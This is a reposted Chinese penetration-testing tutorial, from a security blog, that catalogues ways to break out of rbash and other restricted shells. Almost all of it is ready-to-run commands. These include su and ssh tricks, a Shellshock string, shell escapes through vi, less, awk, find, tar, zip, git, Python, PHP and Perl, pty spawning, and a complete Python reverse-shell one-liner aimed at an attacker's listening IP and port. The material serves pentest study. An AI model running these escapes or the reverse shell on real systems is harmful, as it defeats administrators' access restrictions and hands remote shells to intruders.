rbash逃逸大全

2020-04-28 约 287 字 预计阅读 2 分钟

声明:本文 【rbash逃逸大全】 由作者 Twe1ve 于 2020-04-28 09:32:09 首发 先知社区 曾经 浏览数 345 次

感谢 Twe1ve 的辛苦付出!

0x00、前言

rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的 restricted shell的一种,也是最常见的 restricted shell(rbash、ksh、rsh等)

渗透中遇到restricted shell是一件很烦人的事,总有有一种束手束脚的感觉;下面我们就来看看如何突破它。

0x01、rbash中的限制(正因为有这些限制我们才要突破它)

  • 不能使用cd命令(意味着不能更改目录)
  • 不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
  • 导入功能受限
  • 指定包含参数'/'或'-'的文件名(即命名中不能包含 '/ ' 或'-')
  • 不能使用使用 >,>|, <>, >&, &>, >> 等重定向操作符
  • 不能使用'set + r'或'set + o'关闭

从上边这些限制可知rbash的存在是为了提高安全性,但是严重影响了我们在目标机器上的信息收集,以及常用的反弹shell(大部分需要用到重定向符)

0x02、创建一个用户并为该用户启用rbash

kali@kali:~$ sudoadduser tw
kali@kali:~$ sudo usermod -s /bin/rbash tw

0x03、检查当前shell是否为rbash

0x04、rbash逃逸

4.1、切换用户时逃逸
这里的原理涉及到su 和 su- 的区别:

  • su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从oracle 用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是oracle用户的
  • su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从oracle 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了


逃逸:

su -l tw
su - tw
su --login tw

4.2、ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)

ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"   ###shellshock

4.3、当前shell中逃逸
4.3.1、特殊情况
[1] / 被允许的情况下;直接 /bin/sh 或 /bin/bash
[2]能够设置PATH或SHELL时

export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh

[3]权限足够时

cp /bin/sh /path/ ;sh
或
cp /bin/bash /path/ ;sh

4.3.2、利用系统常见应用逃逸
[1]ftp
[2]more
[3]less
[4]man
[5]vi
[6]vim
以上在输入的地方输入!/bin/sh 或 !/bin/bash

[7]scp

scp -S /path/yourscript x y:

[8]awk

awk 'BEGIN {system("/bin/sh")}'
    或
        awk 'BEGIN {system("/bin/bash")}'

[9]

find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;

4.3.3、利用用户安装应用逃逸
[1]ed-editor

ed
!'/bin/sh'

[2]git

git help status 
!/bin/bash

[3]zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

[4]tar

tar cf /dev/null  filename  --checkpoint=1 --checkpoint-action=exec=/bin/bash

4.3.4、利用编程语言环境绕过
[1]python

python -c 'import os; os.system("/bin/sh")'

[2]php

php -a then exec("sh -i");

[3]perl

perl -e 'exec "/bin/sh";'

[4]lua

os.execute('/bin/sh')

[5]ruby

exec "/bin/sh"

[6]expect

spwan sh
sh

最后的几个小tips:
[1]比rbash更容易遇到的问题是当前路径异常问题

echo $PATH  ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证    
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin   ####修复

[2] 不能使用 > ,>>等字符重定向写文件:echo 'script code' | tee scriptfile
[3]su切换用户逃逸时还可以在切换用户时执行spawn shell命令

su -c "python -c  'import pty;pty.spawn(\"/bin/bash\")'" tw

[4]ssh 登录时同样可以通过spawn shell逃逸

ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'

[5]编程语言绕过的利用,还可以使用反弹shell到我们攻击机的方式进行逃逸,以python为例:

python -c 'import       socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

[6]上边用的比较多的是 !/bin/sh 和 !/bin/bash;其实还有一个 !'sh' --->由于没有了 '/' ;有时候能够达到很好的绕过效果

[7]同理.在路径正确的情况下,在当前rbash中直接输入 sh 也能够完成逃逸( !/bin/sh 和 !/bin/bash 逃逸失败报错同[6] )

0x05、总结

此处虽然只演示了rbash,但是这些逃逸方式应用到其他类型的restricted shell中也是可以的
由于不同系统特性不同,逃逸的方式也有很大差异;再就是用户限制的宽松程度不同,我们能够逃逸的方式也不同;用户安装的git、tar、zip等应用也能够给我很大的帮助;总之就是要多尝试,灵活应用!!!

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now